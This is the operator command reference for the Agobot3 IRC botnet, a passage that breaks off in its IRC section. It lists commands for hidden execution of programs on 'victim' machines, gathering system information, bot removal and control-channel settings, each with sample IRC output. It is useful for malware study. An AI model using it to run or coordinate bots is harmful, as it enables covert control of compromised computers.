📄 commandref.html.svn-base
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>agobot3 command reference</title>
<meta content="Ago" name="author">
</head>
<body alink="#ff9933" vlink="#ff9933" link="#ff9933" text="#cccccc"
bgcolor="#000000">
<a name="top"></a>
<p align="center"><font color="#808080" size="4" face="Arial Black"><img
alt="" title="" src="agobot3.jpg"
style="border: 0px solid ; width: 240px; height: 60px;"><br>
</font><font color="#cccccc" size="5" face="Arial Black">command
reference<br>
</font><font size="1" color="#cccccc" face="Arial Black">(for Agobot3
0.1.3 Alpha)<br>
</font></p>
<p align="center"><a href="#bot">bot</a> / <a href="#commandmgr">command
manager</a> / <a href="#cvar">cvar</a>
/ <a href="#irc">irc</a> / <a href="#mac">mac</a>
/ <a href="#redirect">redirect</a> / <a href="#downloader">downloader</a><br>
</p>
<table bordercolor="#333333" bordercolordark="#333333"
bordercolorlight="#333333" width="100%" border="1">
<tbody>
<tr>
<td bgcolor="#666666" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="11%"><b><font
color="#ffffff" size="2" face="Arial">command</font></b></td>
<td bgcolor="#666666" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="6%"><b><font
color="#ffffff" size="2" face="Arial">alias</font></b></td>
<td bgcolor="#666666" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="19%"><b><font
color="#ffffff" size="2" face="Arial">syntax</font></b></td>
<td bgcolor="#666666" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="30%"><b><font
color="#ffffff" size="2" face="Arial">description</font></b></td>
<td bgcolor="#666666" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="34%"><b><font
color="#ffffff" size="2" face="Arial">example</font></b></td>
</tr>
<tr>
<td bgcolor="#333333" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="11%"><b><font
color="#ffffff" size="2" face="Arial">bot commands</font></b></td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="6%"><a
name="bot"></a> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="19%"> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="30%"> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="34%">
<div align="right"><a href="#top">top</a></div>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.about</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.about<br>
</td>
<td align="left" width="30%">displays the info the author wants
you to see</td>
<td align="left" width="34%">
<p><Ago> .bot.about<br>
<Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" by Ago
(theago@gmx.net). homepage: http://none.yet/</p>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.die<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.die<br>
</td>
<td align="left" width="30%">terminates the bot<br>
</td>
<td align="left" width="34%"><Ago> .bot.die<br>
<-- Agobot3 has quit (Read error: 104 (Connection reset by peer))<br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.dns<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.dns <hostname/ip><br>
</td>
<td align="left" width="30%">resolves ip/hostname by dns<br>
</td>
<td align="left" width="34%"><Ago> .bot.dns ago.bastart.net<br>
<Agobot3> ago.bastart.net -> 90.0.1.55<br>
<Ago> .bot.dns 90.0.1.55<br>
<Agobot3> 90.0.1.55 -> ago.bastart.net<br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.execute<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.execute <visibility>
"<command>"<br>
</td>
<td align="left" width="30%">makes the bot execute an .exe, exe
is hidden when visibility is 0. note that visibility has no effect on
gui programs that dont honor the visibility parameter WinMain gets.<br>
</td>
<td align="left" width="34%"><Ago> .bot.execute 1
notepad.exe<br>
(Victim executes notepad.exe visible)<br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.id<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.id<br>
</td>
<td align="left" width="30%">displays the bots id which is used
to identify which version is running, and only update the bots that
need it during an update<br>
</td>
<td align="left" width="34%"><Ago> .bot.id<br>
<Agobot3> DC0M0R17<br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.nick<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.nick <nickname><br>
</td>
<td align="left" width="30%">changes the nickname of the bot<br>
</td>
<td align="left" width="34%"><Ago> .bot.nick dem_bot0r<br>
--- Agobot3 is now known as dem_bot0r<br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.open<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.open <filename><br>
</td>
<td align="left" width="30%">makes the bot open any file using
ShellExecuteA or similar functions (in Linux) to open any file that is
a registered file type<br>
</td>
<td align="left" width="34%"><Ago> .bot.open e:\agobot3.txt<br>
(Victim opens e:\agobot3.txt in Notepad)<br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.remove<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.remove<br>
</td>
<td align="left" width="30%">completely removes the bot from the
system<br>
</td>
<td align="left" width="34%"><Ago> .bot.remove<br>
<Agobot3> removing bot...<br>
<-- Agobot3 has quit (Read error: 104 (Connection reset by peer))<br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.removeallbut<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.removeallbut <id><br>
</td>
<td align="left" width="30%">same as bot.remove, but skips bots
that have the specified id<br>
</td>
<td align="left" width="34%"><Ago> .bot.removeallbut
DC0M0R17<br>
(All bots that don't have id DC0M0R17 remove themselves)<br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.rndnick<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.rndnick<br>
</td>
<td align="left" width="30%">assigns a new random nickname to the
bot<br>
</td>
<td align="left" width="34%"><Ago> .bot.rndnick<br>
--- Ago-odkaz is now known as Ago-buzjb<br>
<Ago> .bot.rndnick<br>
--- Ago-buzjb is now known as Ago-dgrpv<br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.status<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.status<br>
</td>
<td align="left" width="30%">causes the bot to display its status<br>
</td>
<td align="left" width="34%"><Ago> .bot.status<br>
<Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d
0h 1m.<br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.sysinfo<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.sysinfo<br>
</td>
<td align="left" width="30%">causes the bot to display system
information<br>
</td>
<td align="left" width="34%"><Ago> .bot.sysinfo<br>
<Agobot3> cpu: 500MHz. ram: 523764KB total, 300636KB free. os:
Windows 2k [Service Pack 4] (5.0, build 2195). uptime: 1d 9h 49m <br>
</td>
</tr>
<tr>
<td align="center" width="11%">bot.quit<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.quit<br>
</td>
<td align="left" width="30%">causes the bot to quit irc and
terminate itself<br>
</td>
<td align="left" width="34%"><Ago> .bot.quit<br>
<-- Agobot3 has quit (Read error: 104 (Connection reset by peer))</td>
</tr>
<tr>
<td align="center" width="11%">bot.repeat<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">bot.repeat <num> <cmd><br>
</td>
<td align="left" width="30%">the bot will repeat the specified
command num times<br>
</td>
<td align="left" width="34%"><Ago> .bot.repeat 2 .bot.status<br>
<Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d
0h 1m.<br>
<Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d
0h 1m.<br>
</td>
</tr>
<tr>
<td bgcolor="#333333" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="11%"><b><font
color="#ffffff" size="2" face="Arial">command manager commands</font></b></td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="6%"><a
name="commandmgr"></a> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="19%"> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="30%"> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="34%">
<div align="right"><a href="#top">top</a></div>
</td>
</tr>
<tr>
<td align="center" width="11%">commands.list</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">commands.list<br>
</td>
<td align="left" width="30%">dumps a list of commands similar to
this<br>
</td>
<td align="left" width="34%"><Ago> .commands.list<br>
<Agobot3> -[ command list ]-<br>
<Agobot3> 1. / "commands.list" / "Lists all available commands"<br>
<Agobot3> 2. / "cvar.list" / "prints a list of all cvars"<br>
(and more to follow...)<br>
</td>
</tr>
<tr>
<td bgcolor="#333333" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="11%"><b><font
color="#ffffff" size="2" face="Arial">cvar commands</font></b></td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="6%"><a
name="cvar"></a> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="19%"> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="30%"> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="34%">
<div align="right"><a href="#top">top</a></div>
</td>
</tr>
<tr>
<td align="center" width="11%">cvar.list<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">cvar.list<br>
</td>
<td align="left" width="30%">dumps a list of cvars<br>
</td>
<td align="left" width="34%"><Ago> .cvar.list<br>
<Agobot3> -[ cvar list ]-<br>
<Agobot3> 1. / "si_server_root.chanpass" / "" / "Server Info -
Channel Password"<br>
<Agobot3> 2. / "si_server_root.mainchan" / "#agobot3" / "Server
Info - Main Channel"<br>
(and more to follow...)<br>
</td>
</tr>
<tr>
<td align="center" width="11%">cvar.get<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">cvar.get <cvarname><br>
</td>
<td align="left" width="30%">displays the value of the named cvar<br>
</td>
<td align="left" width="34%"><Ago> .cvar.get si_mainchan<br>
<Agobot3> si_mainchan == "#agobot3"<br>
</td>
</tr>
<tr>
<td align="center" width="11%">cvar.set<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">cvar.get <cvarname>
"<value>"<br>
</td>
<td align="left" width="30%">sets the value of the named cvar to
the value<br>
</td>
<td align="left" width="34%"><Ago> .cvar.set bot_prefix "\"<br>
<Agobot3> bot_prefix = "\" (was ".")<br>
<Ago> \bot.status<br>
<Agobot3> Agobot3 (0.1.3 Alpha) "Release" on "Win32" ready. Up 0d
0h 0m.<br>
</td>
</tr>
<tr>
<td bgcolor="#333333" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="11%"><b><font
color="#ffffff" size="2" face="Arial">irc commands</font></b></td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="6%"><a
name="irc"></a> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="19%"> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="30%"> </td>
<td bgcolor="#000000" align="center" bordercolordark="#000000"
bordercolorlight="#000000" bordercolor="#000000" width="34%">
<div align="right"><a href="#top">top</a></div>
</td>
</tr>
<tr>
<td align="center" width="11%">irc.disconnect / irc.reconnect<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">irc.disconnect / irc.reconnect<br>
</td>
<td align="left" width="30%">disconnects/reconnects the bot from
irc<br>
</td>
<td align="left" width="34%"><Ago> .irc.disconnect<br>
<-- Agobot3 has quit (Read error: 104 (Connection reset by peer))</td>
</tr>
<tr>
<td align="center" width="11%">irc.action<br>
</td>
<td align="center" width="6%"><br>
</td>
<td align="center" width="19%">irc.action <target>
"<action>"<br>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -